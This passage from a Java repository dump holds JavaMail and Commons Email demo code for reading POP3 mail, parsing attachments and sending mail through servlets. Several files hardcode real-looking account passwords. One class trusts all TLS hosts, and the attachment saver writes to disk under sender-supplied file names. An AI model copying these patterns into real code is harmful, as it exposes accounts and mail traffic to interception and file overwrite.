{\n\t\t\tMessage message = messages[i];\n\t\t\tSystem.out.println(message.getSubject());\n\t\t\t// 删除邮件\n\t\t\t// message.setFlag(Flags.Flag.DELETED, true);\n\t\t\t// 标记为已读\n\t\t\t// message.setFlag(Flags.Flag.SEEN, true);\n\t\t\t// pop3没有判断邮件是否为已读的功能，要使用Imap才可以\n\t\t\t/*\n\t\t\t * Flags flags = message.getFlags(); if\n\t\t\t * (flags.contains(Flags.Flag.SEEN)) System.out.println(\"这是一封已读邮件\");\n\t\t\t * else { System.out.println(\"未读邮件\");\n\t\t\t * message.setFlag(Flags.Flag.SEEN, true); }\n\t\t\t */\n\t\t\tSystem.out.println(\"发送时间：\" + message.getSentDate());\n\t\t\tSystem.out.println(\"主题：\" + message.getSubject());\n\t\t\tSystem.out.println(\"内容：\" + message.getContent());\n\t\t\t// 获取所有的Header，头信息\n\t\t\tEnumeration headers = message.getAllHeaders();\n\t\t\tSystem.out.println(\"----------------------allHeaders-----------------------------\");\n\t\t\t/*\n\t\t\t * while (headers.hasMoreElements()) { Header header =\n\t\t\t * (Header)headers.nextElement();\n\t\t\t * System.out.println(header.getName()+\" ======= \"+header.getValue()\n\t\t\t * ); }\n\t\t\t */\n\t\t\t// 解析邮件内容\n\t\t\tObject content = message.getContent();\n\t\t\tif (content instanceof MimeMultipart) {\n\t\t\t\tMimeMultipart multipart = (MimeMultipart) content;\n\t\t\t\tparseMultipart(multipart);\n\t\t\t}\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t\tSystem.out.println(\"========================================================\");\n\t\t}\n\t\tfolder.close(true);\n\t\tstore.close();\n\t}\n\n\t/**\n\t * 对复杂邮件的解析\n\t * \n\t * @param multipart\n\t * @throws MessagingException\n\t * @throws IOException\n\t */\n\tpublic static void parseMultipart(Multipart multipart) throws MessagingException, IOException {\n\t\tint count = multipart.getCount();\n\t\tSystem.out.println(\"couont =  \" + count);\n\t\tfor (int idx = 0; idx < count; idx++) {\n\t\t\tBodyPart bodyPart = multipart.getBodyPart(idx);\n\t\t\tSystem.out.println(bodyPart.getContentType());\n\t\t\tif (bodyPart.isMimeType(\"text/plain\")) {\n\t\t\t\tSystem.out.println(\"plain.................\" + bodyPart.getContent());\n\t\t\t} else if (bodyPart.isMimeType(\"text/html\")) {\n\t\t\t\tSystem.out.println(\"html...................\" + bodyPart.getContent());\n\t\t\t} else if (bodyPart.isMimeType(\"multipart/*\")) {\n\t\t\t\tMultipart mpart = (Multipart) bodyPart.getContent();\n\t\t\t\tparseMultipart(mpart);\n\t\t\t} else if (bodyPart.isMimeType(\"application/octet-stream\")) {\n\t\t\t\tString disposition = bodyPart.getDisposition();\n\t\t\t\tSystem.out.println(disposition);\n\t\t\t\tif (disposition.equalsIgnoreCase(BodyPart.ATTACHMENT)) {\n\t\t\t\t\tString fileName = bodyPart.getFileName();\n\t\t\t\t\tInputStream is = bodyPart.getInputStream();\n\t\t\t\t\tcopy(is, new FileOutputStream(\"D:\\\\\" + fileName));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\t/**\n\t * 文件拷贝，在用户进行附件下载的时候，可以把附件的InputStream传给用户进行下载\n\t * \n\t * @param is\n\t * @param os\n\t * @throws IOException\n\t */\n\tpublic static void copy(InputStream is, OutputStream os) throws IOException {\n\t\tbyte[] bytes = new byte[1024];\n\t\tint len = 0;\n\t\twhile ((len = is.read(bytes)) != -1) {\n\t\t\tos.write(bytes, 0, len);\n\t\t}\n\t\tif (os != null)\n\t\t\tos.close();\n\t\tif (is != null)\n\t\t\tis.close();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/javamail2/smtp.properties",
    "content": "#----------------这两个是构建session必须的字段----------\n#smtp服务器\nmail.smtp.host=smtp.qq.com\n#身份验证mail.smtp.auth=true#--------------------------------------------------------------\n#发送者的邮箱用户名\nmail.sender.username=xxx@xx.com\n#发送者的邮箱密码\nmail.sender.password=xxxxxxxxxx"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/web/MailServlet.java",
    "content": "package com.jun.plugin.base.email.web;\n\n\n\nimport java.io.IOException;\n\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\nimport javax.naming.Context;\nimport javax.naming.InitialContext;\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n\n//http://localhost:18080/jun_plugin_base/mail?method=getMsg&username=abc\n@WebServlet(name = \"MailServlet\", value = { \"/mail\" }, asyncSupported = true)\npublic class MailServlet extends HttpServlet {\n\n\t \n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\tdoPost(request, response);\n\t}\n\n\t \n\tpublic void sendMail(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\n\t\ttry {\n\t\t\t//Demo2.main(new String[]{});\n\t\t\t\n\t\t\tContext initCtx = new InitialContext();\n\t\t\tContext envCtx = (Context) initCtx.lookup(\"java:comp/env\");\n\t\t\tSession session = (Session) envCtx.lookup(\"mail/Dog\");\n\n\t\t\tMessage message = new MimeMessage(session);\n\t\t\tmessage.setFrom(new InternetAddress(\"itcast_test@sina.com\"));\n\t\t\tInternetAddress to[] = new InternetAddress[1];\n\t\t\tto[0] = new InternetAddress(\"itcast_test@sina.com\");\n\t\t\tmessage.setRecipients(Message.RecipientType.TO, to);\n\t\t\tmessage.setSubject(\"ha\");\n\t\t\tmessage.setText(\"test\");\n\t\t\t//Transport.send(message);\n\t\t\tTransport transport = session.getTransport();\n\t\t\ttransport.connect(\"smtp.sina.com\", \"itcast_test\", \"123456\");\n\t\t\ttransport.sendMessage(message, to);\n\t\t\ttransport.close();\n\t\t\tresponse.getWriter().print(\"ok!\");\n\t\t} catch (Exception e) {\n\t\t\t// TODO Auto-generated catch block\n\t\t\te.printStackTrace(response.getWriter());\n\t\t}\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/base/email/web/SendEmail.java",
    "content": "package com.jun.plugin.base.email.web;\n\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.BodyPart;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.Multipart;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n@WebServlet(\"/sendmail\")\npublic class SendEmail extends HttpServlet {\n\n\tpublic void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\t// 收件人的电子邮件 ID\n\t\tString to = \"jsjs9494@163.com\";\n\n\t\t// 发件人的电子邮件 ID\n\t\tString from = \"jsjs9494@163.com\";\n\n\t\t// 假设您是从本地主机发送电子邮件\n\t\tString host = \"smtp.163.com\";\n\n\t\t// 获取系统的属性\n\t\tProperties properties = System.getProperties();\n\n\t\t// 设置邮件服务器\n\t\tproperties.setProperty(\"smtp.163.com\", host);\n\n\t\t// 获取默认的 Session 对象\n\t\tSession session = Session.getDefaultInstance(properties);\n\n\t\t// 设置响应内容类型\n\t\tresponse.setContentType(\"text/html;charset=UTF-8\");\n\t\tPrintWriter out = response.getWriter();\n\n\t\ttry {\n\t\t\t// 创建一个默认的 MimeMessage 对象\n\t\t\tMimeMessage message = new MimeMessage(session);\n\t\t\t// 设置 From: header field of the header.\n\t\t\tmessage.setFrom(new InternetAddress(from));\n\t\t\t// 设置 To: header field of the header.\n\t\t\tmessage.addRecipient(Message.RecipientType.TO, new InternetAddress(to));\n\t\t\t// 设置 Subject: header field\n\t\t\tmessage.setSubject(\"This is the Subject Line!\");\n\t\t\t// 现在设置实际消息\n\t\t\tmessage.setText(\"This is actual message\");\n\t\t\t// 发送消息\n\t\t\tTransport.send(message);\n\t\t\tString title = \"发送电子邮件\";\n\t\t\tString res = \"成功发送消息...\";\n\t\t\tString docType = \"<!DOCTYPE html> \\n\";\n\t\t\tout.println(docType + \"<html>\\n\" + \"<head><title>\" + title + \"</title></head>\\n\" + \"<body bgcolor=\\\"#f0f0f0\\\">\\n\" + \"<h1 align=\\\"center\\\">\" + title + \"</h1>\\n\" + \"<p align=\\\"center\\\">\"\n\t\t\t\t\t+ res + \"</p>\\n\" + \"</body></html>\");\n\t\t} catch (MessagingException mex) {\n\t\t\tmex.printStackTrace();\n\t\t}\n\t}\n\t\n\n\t  public void sendHtml(HttpServletRequest request,\n\t                    HttpServletResponse response)\n\t            throws ServletException, IOException\n\t  {\n\t      // 收件人的电子邮件 ID\n\t      String to = \"abcd@gmail.com\";\n\t \n\t      // 发件人的电子邮件 ID\n\t      String from = \"web@gmail.com\";\n\t \n\t      // 假设您是从本地主机发送电子邮件\n\t      String host = \"localhost\";\n\t \n\t      // 获取系统的属性\n\t      Properties properties = System.getProperties();\n\t \n\t      // 设置邮件服务器\n\t      properties.setProperty(\"mail.smtp.host\", host);\n\t \n\t      // 获取默认的 Session 对象\n\t      Session session = Session.getDefaultInstance(properties);\n\t      \n\t\t  // 设置响应内容类型\n\t      response.setContentType(\"text/html;charset=UTF-8\");\n\t      PrintWriter out = response.getWriter();\n\n\t      try{\n\t         // 创建一个默认的 MimeMessage 对象\n\t         MimeMessage message = new MimeMessage(session);\n\t         // 设置 From: header field of the header.\n\t         message.setFrom(new InternetAddress(from));\n\t         // 设置 To: header field of the header.\n\t         message.addRecipient(Message.RecipientType.TO,\n\t                                  new InternetAddress(to));\n\t         // 设置 Subject: header field\n\t         message.setSubject(\"This is the Subject Line!\");\n\n\t         // 设置实际的 HTML 消息，内容大小不限\n\t         message.setContent(\"<h1>This is actual message</h1>\",\n\t                            \"text/html\" );\n\t         // 发送消息\n\t         Transport.send(message);\n\t         String title = \"发送电子邮件\";\n\t         String res = \"成功发送消息...\";\n\t         String docType = \"<!DOCTYPE html> \\n\";\n\t         out.println(docType +\n\t         \"<html>\\n\" +\n\t         \"<head><title>\" + title + \"</title></head>\\n\" +\n\t         \"<body bgcolor=\\\"#f0f0f0\\\">\\n\" +\n\t         \"<h1 align=\\\"center\\\">\" + title + \"</h1>\\n\" +\n\t         \"<p align=\\\"center\\\">\" + res + \"</p>\\n\" +\n\t         \"</body></html>\");\n\t      }catch (MessagingException mex) {\n\t         mex.printStackTrace();\n\t      }\n\t   }\n\t  \n\n\t    \n\t  public void sendMailWithFile(HttpServletRequest request,\n\t                    HttpServletResponse response)\n\t            throws ServletException, IOException\n\t  {\n\t      // 收件人的电子邮件 ID\n\t      String to = \"abcd@gmail.com\";\n\t \n\t      // 发件人的电子邮件 ID\n\t      String from = \"web@gmail.com\";\n\t \n\t      // 假设您是从本地主机发送电子邮件\n\t      String host = \"localhost\";\n\t \n\t      // 获取系统的属性\n\t      Properties properties = System.getProperties();\n\t \n\t      // 设置邮件服务器\n\t      properties.setProperty(\"mail.smtp.host\", host);\n\t \n\t      // 获取默认的 Session 对象\n\t      Session session = Session.getDefaultInstance(properties);\n\t      \n\t\t  // 设置响应内容类型\n\t      response.setContentType(\"text/html;charset=UTF-8\");\n\t      PrintWriter out = response.getWriter();\n\n\t       try{\n\t         // 创建一个默认的 MimeMessage 对象\n\t         MimeMessage message = new MimeMessage(session);\n\t \n\t         // 设置 From: header field of the header.\n\t         message.setFrom(new InternetAddress(from));\n\t \n\t         // 设置 To: header field of the header.\n\t         message.addRecipient(Message.RecipientType.TO,\n\t                                  new InternetAddress(to));\n\t \n\t         // 设置 Subject: header field\n\t         message.setSubject(\"This is the Subject Line!\");\n\t \n\t         // 创建消息部分 \n\t         BodyPart messageBodyPart = new MimeBodyPart();\n\t \n\t         // 填写消息\n\t         messageBodyPart.setText(\"This is message body\");\n\t         \n\t         // 创建一个多部分消息\n\t         Multipart multipart = new MimeMultipart();\n\t \n\t         // 设置文本消息部分\n\t         multipart.addBodyPart(messageBodyPart);\n\t \n\t         // 第二部分是附件\n\t         messageBodyPart = new MimeBodyPart();\n\t         String filename = \"file.txt\";\n\t         DataSource source = new FileDataSource(filename);\n\t         messageBodyPart.setDataHandler(new DataHandler(source));\n\t         messageBodyPart.setFileName(filename);\n\t         multipart.addBodyPart(messageBodyPart);\n\t \n\t         // 发送完整的消息部分\n\t         message.setContent(multipart );\n\t \n\t         // 发送消息\n\t         Transport.send(message);\n\t         String title = \"发送电子邮件\";\n\t         String res = \"成功发送电子邮件...\";\n\t         String docType = \"<!DOCTYPE html> \\n\";\n\t         out.println(docType +\n\t         \"<html>\\n\" +\n\t         \"<head><title>\" + title + \"</title></head>\\n\" +\n\t         \"<body bgcolor=\\\"#f0f0f0\\\">\\n\" +\n\t         \"<h1 align=\\\"center\\\">\" + title + \"</h1>\\n\" +\n\t         \"<p align=\\\"center\\\">\" + res + \"</p>\\n\" +\n\t         \"</body></html>\");\n\t      }catch (MessagingException mex) {\n\t         mex.printStackTrace();\n\t      }\n\t   }\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/itcast/javamail2/Base64Util.java",
    "content": "package com.jun.plugin.itcast.javamail2;\n\nimport java.io.BufferedReader;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStreamReader;\nimport java.io.UnsupportedEncodingException;\nimport java.util.Base64;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.Address;\nimport javax.mail.Authenticator;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.AddressException;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\n\npublic class Base64Util {\n\n\t/**\n\t * @param args add by zxx ,Dec 30, 2008\n\t * @throws IOException \n\t */\n\tpublic static void main(String[] args) throws IOException {\n\t\t// TODO Auto-generated method stub\n\t\tSystem.out.println(\"please input user name:\");\n\t\tString username = new BufferedReader(\n\t\t\t\tnew InputStreamReader(System.in))\n\t\t\t\t.readLine();\n\t\tSystem.out.println(Base64.getEncoder().encodeToString(username.getBytes()));\n\t\tSystem.out.println(\"please input password:\");\n\t\tString password = new BufferedReader(\n\t\t\t\tnew InputStreamReader(System.in))\n\t\t\t\t.readLine();\n\t\tSystem.out.println(Base64.getEncoder().encodeToString(password.getBytes()));\n\t}\n\t\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/itcast/javamail2/Demo1.java",
    "content": "package com.jun.plugin.itcast.javamail2;\n\nimport java.util.Properties;\n\nimport javax.mail.Address;\nimport javax.mail.Message;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\npublic class Demo1 {\n\n\t/**\n\t * @param args add by zxx ,Feb 5, 2009\n\t */\n\tpublic static void main(String[] args) throws Exception{\n\t\t// TODO Auto-generated method stub\n\t\tProperties props = new Properties();\n\t\tprops.setProperty(\"mail.smtp.auth\", \"true\");\n\t\tprops.setProperty(\"mail.transport.protocol\", \"smtp\");\n\t\tSession session = Session.getInstance(props);\n\t\tsession.setDebug(true);\n\t\t\n\t\tMessage msg = new MimeMessage(session);\n\t\tmsg.setText(\"�����\");\n\t\tmsg.setFrom(new InternetAddress(\"lili@sohu.com\"));\n\t\n\t\tTransport transport = session.getTransport();\n\t\ttransport.connect(\"smtp.sina.com\", 25, \"itcast_test\", \"123456\");\n\t\ttransport.sendMessage(msg,\n\t\t\t\tnew Address[]{new InternetAddress(\"itcast_test@sohu.com\")});\n\n\t\t//transport.send(msg,new Address[]{new InternetAddress(\"itcast_test@sohu.com\")});\n\t\ttransport.close();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/itcast/javamail2/Demo2.java",
    "content": "package com.jun.plugin.itcast.javamail2;\n\nimport java.io.FileInputStream;\nimport java.util.Properties;\n\nimport javax.mail.Authenticator;\nimport javax.mail.Message;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\npublic class Demo2 {\n\n\t/**\n\t * @param args add by zxx ,Feb 5, 2009\n\t */\n\tpublic static void main(String[] args) throws Exception{\n\t\t// TODO Auto-generated method stub\n\t\t\n\t\tProperties props = new Properties();\n\t\tprops.setProperty(\"mail.smtp.auth\", \"true\");\n\t\tprops.setProperty(\"mail.transport.protocol\", \"smtp\");\n\t\tprops.setProperty(\"mail.host\", \"smtp.sina.com\");\n\t\tSession session = Session.getInstance(props,\n\t\t\t\tnew Authenticator()\n\t\t\t\t{\n\t\t\t\t\tprotected PasswordAuthentication getPasswordAuthentication()\n\t\t\t\t\t{\n\t\t\t\t\t\treturn new PasswordAuthentication(\"itcast_test\",\"123456\");\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t);\n\t\tsession.setDebug(true);\n\t\t\n\t\t/*Message msg = new MimeMessage(session);\n\t\tmsg.setFrom(new InternetAddress(\"itcast_xxx@sina.com\"));\n\t\tmsg.setSubject(\"��������\");\n\t\tmsg.setRecipients(RecipientType.TO, \n\t\t\t\tInternetAddress.parse(\"itcast_test@sina.com,itcast_test@sohu.com\"));\n\t\tmsg.setContent(\"<span style='color:red'>���ĺǺǺ�</span>\", \"text/html;charset=gbk\");\n\t\t\n\t\t\n\t\tTransport.send(msg);*/\n\t\t\n\t\tMessage msg = new MimeMessage(session,new FileInputStream(\"resouce\\\\demo3.eml\"));\n\t\tTransport.send(msg,InternetAddress.parse(\"itcast_test@sohu.com\"));\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/itcast/javamail2/Demo3.java",
    "content": "package com.jun.plugin.itcast.javamail2;\n\nimport java.io.FileOutputStream;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Properties;\n\nimport javax.activation.DataHandler;\nimport javax.activation.DataSource;\nimport javax.activation.FileDataSource;\nimport javax.mail.Address;\nimport javax.mail.Session;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeBodyPart;\nimport javax.mail.internet.MimeMessage;\nimport javax.mail.internet.MimeMultipart;\nimport javax.mail.internet.MimeUtility;\n\npublic class Demo3 {\n\n\t/**\n\t * @param args add by zxx ,Feb 5, 2009\n\t */\n\tpublic static void main(String[] args) throws Exception{\n\t\t// TODO Auto-generated method stub\n\t\tSession session = Session.getInstance(new Properties());\n\t\tMimeMessage msg = new MimeMessage(session);\n\t\tmsg.setFrom(new InternetAddress(\"\\\"\" + MimeUtility.encodeText(\"���ǲ���\") + \"\\\" <itcast_test@sina.com>\"));\n\t\tmsg.setSubject(\"���ǵ�Java��ѵ�������ţ����\");\t\t\n\t\tmsg.setReplyTo(new Address[]{new InternetAddress(\"lili@126.com\")});\n\t\tmsg.setRecipients(RecipientType.TO,InternetAddress.parse(MimeUtility.encodeText(\"�����\") + \" <llm@itcast.cn>,\" + MimeUtility.encodeText(\"��Т��\") + \" <zxx@itcast.cn>\"));\n\t\tMimeMultipart msgMultipart = new MimeMultipart(\"mixed\");\n\t\tmsg.setContent(msgMultipart);\n\n\t\tMimeBodyPart attch1 = new MimeBodyPart();\t\t\n\t\tMimeBodyPart attch2 = new MimeBodyPart();\t\t\n\t\tMimeBodyPart content = new MimeBodyPart();\n\t\tmsgMultipart.addBodyPart(attch1);\t\t\n\t\tmsgMultipart.addBodyPart(attch2);\t\t\n\t\tmsgMultipart.addBodyPart(content);\n\n\t\tDataSource ds1 = new FileDataSource(\n\t\t\t\t\"resource\\\\Java��ѵ.txt\"\t\n\t\t\t);\n\t\tDataHandler dh1 = new DataHandler(ds1 );\n\t\tattch1.setDataHandler(dh1);\n\t\tattch1.setFileName(\n\t\t\t\tMimeUtility.encodeText(\"java��ѵ.txt\")\n\t\t\t\t);\n\t\t\n\t\tDataSource ds2 = new FileDataSource(\n\t\t\t\t\"resource\\\\slogo.gif\"\t\t\n\t\t\t);\n\t\tDataHandler dh2 = new DataHandler(ds2 );\n\t\tattch2.setDataHandler(dh2);\t\t\n\t\tattch2.setFileName(\"slogo.gif\");\n\t\t\n\t\tMimeMultipart bodyMultipart = new MimeMultipart(\"related\");\n\t\tcontent.setContent(bodyMultipart);\n\t\tMimeBodyPart htmlPart = new MimeBodyPart();\t\t\n\t\tMimeBodyPart gifPart = new MimeBodyPart();\t\t\n\t\tbodyMultipart.addBodyPart(htmlPart);\n\t\tbodyMultipart.addBodyPart(gifPart);\t\t\n\n\t\tDataSource gifds = new FileDataSource(\n\t\t\t\t\"resource\\\\logo.gif\"\t\n\t\t\t);\n\t\tDataHandler gifdh = new DataHandler(gifds);\t\t\n\t\tgifPart.setDataHandler(gifdh);\n\t\tgifPart.setHeader(\"Content-Location\", \"http://www.itcast.cn/logo.gif\");\n\t\t\n\t\thtmlPart.setContent(\"���ǵ�Java��ѵ�������ţ���𣿴�Ҷ���ô˵,��������Ǳ���һ�£���������Լ��ó�����ɺͷ��͵��ʼ�Ŷ��<img src='http://www.itcast.cn/logo.gif'>\"\n\t\t\t\t\t, \"text/html;charset=gbk\");\n\t\t\n\t\tmsg.saveChanges();\n\t\t\n\t\tOutputStream ips = new FileOutputStream(\"resource\\\\demo3.eml\");\n\t\tmsg.writeTo(ips);\n\t\tips.close();\n\t\t\n\t\t\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/mail/CommonMail.java",
    "content": "package com.jun.plugin.mail;\n\nimport java.net.MalformedURLException;\nimport java.net.URL;\n\nimport javax.mail.internet.MimeUtility;\nimport org.apache.commons.mail.EmailAttachment;\nimport org.apache.commons.mail.EmailException;\nimport org.apache.commons.mail.HtmlEmail;\nimport org.apache.commons.mail.MultiPartEmail;\nimport org.apache.commons.mail.SimpleEmail;\n\npublic class CommonMail {\n\tpublic static void main(String[] args) throws Exception {\n\t\tCommonMail mail = new CommonMail();\n//\t\tmail.sendSimpleMail();\n//\t\tmail.sendMutiMail();\n\t\t mail.sendHtml();\n\t}\n\n\t@SuppressWarnings(\"deprecation\")\n\tpublic void sendSimpleMail() throws Exception {\n\t\tSimpleEmail email = new SimpleEmail();\n\t\temail.setHostName(\"smtp.163.com\");\n\t\temail.setAuthentication(\"jsjs9494@163.com\", \"password.jsjs\");\n\t\temail.addTo(\"245783660@qq.com\", \"245783660@qq.com\");\n\t\temail.setFrom(\"jsjs9494@163.com\", \"发信人列表\");\n\t\temail.setSubject(\"邮件大标题\");//\n\t\temail.setMsg(\" 邮件内容  \"); //\n\t\temail.setSmtpPort(465); //\n\t\temail.setSSL(true); //\n\t\temail.setCharset(\"GBK\"); //\n\t\temail.send();\n\t}\n\n\tpublic void sendMutiMail() throws Exception {\n\t\tEmailAttachment attachment = new EmailAttachment();\n\t\tattachment.setDisposition(EmailAttachment.ATTACHMENT);\n\t\tattachment.setDescription(\"python resource\");\n\t\tattachment.setPath(\"src_mail/com/jun/plugin/mail/File.html\");\n\t\tattachment.setName(MimeUtility.encodeText(\"File.html\"));\n\n\t\tMultiPartEmail email = new MultiPartEmail();\n\t\temail.setHostName(\"smtp.163.com\"); \n\t\temail.setAuthentication(\"jsjs9494@163.com\", \"password.jsjs\");\n\t\temail.addTo(\"245783660@qq.com\", \"收信显示名称\");\n\t\temail.setFrom(\"jsjs9494@163.com\", \" 发信人列表  \");\n\t\temail.setSubject(\"邮件大标题\");\n\t\temail.setMsg(\"  邮件内容 sendMutiMail  \");\n\t\temail.setCharset(\"GBK\");\n\t\temail.attach(attachment);\n\t\temail.send();\n\t}\n\n\n\t/**\n\t * 慢\n\t */\n\t@SuppressWarnings(\"deprecation\")\n\tpublic   void sendHtml() {\n\t\ttry {\n\t\t\tHtmlEmail email = new HtmlEmail();\n\t\t\temail.setTLS(true);\n\t\t\temail.setHostName(\"smtp.qq.com\");\n\t\t\temail.setAuthentication(\"245783660@qq.com\", \"qq245783660.\");\n\t\t\temail.addTo(\"jsjs9494@163.com\", \" 收信显示名称 \");\n\t\t\temail.setFrom(\"245783660@qq.com\");\n\t\t\temail.setSubject(\" 邮件标题 \");\n\t\t\temail.setCharset(\"GBK\"); \n\t\t\temail.setMsg(\" sendHtml  content \");\n\n\t\t\tURL url;\n\t\t\turl = new URL(\"http://img.baidu.com/img/image/ilogob.gif\");\n\t\t\tString cid = email.embed(url, \"baidu logo\");\n\t\t\temail.setHtmlMsg(\"<html><a href='http://www.baidu.com'>baidu.com</a> <img src=\\\"cid:\" + cid + \"\\\"><br><P>haha</P></html>\");\n\t\t\temail.send();\n\t\t\tSystem.out.println(\" sendHtml sucessed \");\n\t\t} catch (EmailException e) {\n\t\t\te.printStackTrace();\n\t\t} catch (MalformedURLException e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n}"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/mail/File.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=ISO-8859-1\">\n<title>Insert title here</title>\n</head>\n<body>\nabcd\n</body>\n</html>"
  },
  {
    "path": "jun_java_plugins/jun_email/src/main/java/com/jun/plugin/mail/JavaMail.java",
    "content": "package com.jun.plugin.mail;\n\nimport java.util.Date;\nimport java.util.Properties;\n\nimport javax.mail.Authenticator;\nimport javax.mail.Message;\nimport javax.mail.MessagingException;\nimport javax.mail.PasswordAuthentication;\nimport javax.mail.Session;\nimport javax.mail.Transport;\nimport javax.mail.Message.RecipientType;\nimport javax.mail.internet.AddressException;\nimport javax.mail.internet.InternetAddress;\nimport javax.mail.internet.MimeMessage;\n\nimport com.sun.mail.util.MailSSLSocketFactory;\n\npublic class JavaMail {\n\tpublic static void main(String[] args) {\n\t\t// JavaMail.send(\" aaaaaaaaaaaaaaa \");\n\t\t// JavaMail.send(\"title \",\" bbbbbbbbbbbbb \");\n\t\t// JavaMail.sendHtml(\" ccccccccccccccccc \");\n\t\t// JavaMail.sendMail(\"jsjs9494@163.com\", \"abcd\");\n\t}\n\n\tstatic final String fromMail = \"jsjs9494@163.com\";\n\tstatic final String user = \"jsjs9494@163.com\";\n\tstatic final String password = \"password.jsjs\";\n\tstatic final String toMail = \"jsjs9494@163.com\";\n\tstatic final String toHtmlMail = \"jsjs9494@163.com\";\n\tstatic final String mailTitle = \"[ALERTS]-System Tips\";\n\tstatic final String htmlMailTitle = \"[REPORT] - Operator Data\";\n\n\tpublic static void send(String title, String mailContent) {\n\t\tsendMail(fromMail, user, password, toMail, title, mailContent);\n\t}\n\n\tpublic static void send(String mailContent) {\n\t\tsendMail(fromMail, user, password, toMail, mailTitle, mailContent);\n\t}\n\n\tpublic static void sendHtml(String mailContent) {\n\t\tif (mailContent == null || mailContent.trim().isEmpty() || mailContent.length() < 20) {\n\t\t\treturn;\n\t\t}\n\t\tsendHtmlMail(fromMail, user, password, toHtmlMail, htmlMailTitle, mailContent);\n\t}\n\n\t/**\n\t * @param fromMail\n\t * @param user\n\t * @param password\n\t * @param toMail\n\t * @param mailTitle\n\t * @param mailContent\n\t */\n\tprivate static void sendMail(String fromMail, String user, String password, String toMail, String mailTitle,\n\t\t\tString mailContent) {\n\t\ttry {\n\t\t\t// String hostIP = ServerInfoCache.instance().getHostIP();\n\t\t\t// String hostName = ServerInfoCache.instance().getHostName();\n\t\t\t// String SERVER_INFO = String.format(\"SERVER IP -> [%s] - SERVER NAME ->\n\t\t\t// [%s]\\r\\n<System email - please do not reply> The following is the email body\n\t\t\t// :\\r\\n========================================================\", hostIP,\n\t\t\t// hostName);\n\n\t\t\tMailSSLSocketFactory sf = new MailSSLSocketFactory();\n\t\t\tsf.setTrustAllHosts(true);\n\n\t\t\tProperties props = new Properties();\n\t\t\tprops.put(\"mail.smtp.host\", \"smtp.163.com\");\n\t\t\tprops.put(\"mail.smtp.port\", 465);\n\t\t\tprops.put(\"mail.transport.protocol\", \"smtp\");\n\t\t\tprops.put(\"mail.smtp.auth\", \"true\");\n\t\t\tprops.put(\"mail.smtp.ssl.enable\", \"true\");\n\t\t\tprops.put(\"mail.smtp.ssl.socketFactory\", sf);\n\n\t\t\tSession session = Session.getInstance(props);\n\n\t\t\tMimeMessage message = new MimeMessage(session);\n\t\t\tmessage.setFrom(new InternetAddress(fromMail));\n\t\t\tmessage.setRecipient(Message.RecipientType.TO, new InternetAddress(toMail));\n\t\t\tmessage.setSubject(mailTitle);\n\t\t\tmessage.setText(\"\\r\\n\\r\\n\\r\\n\" + mailContent);\n\t\t\tmessage.setSentDate(new 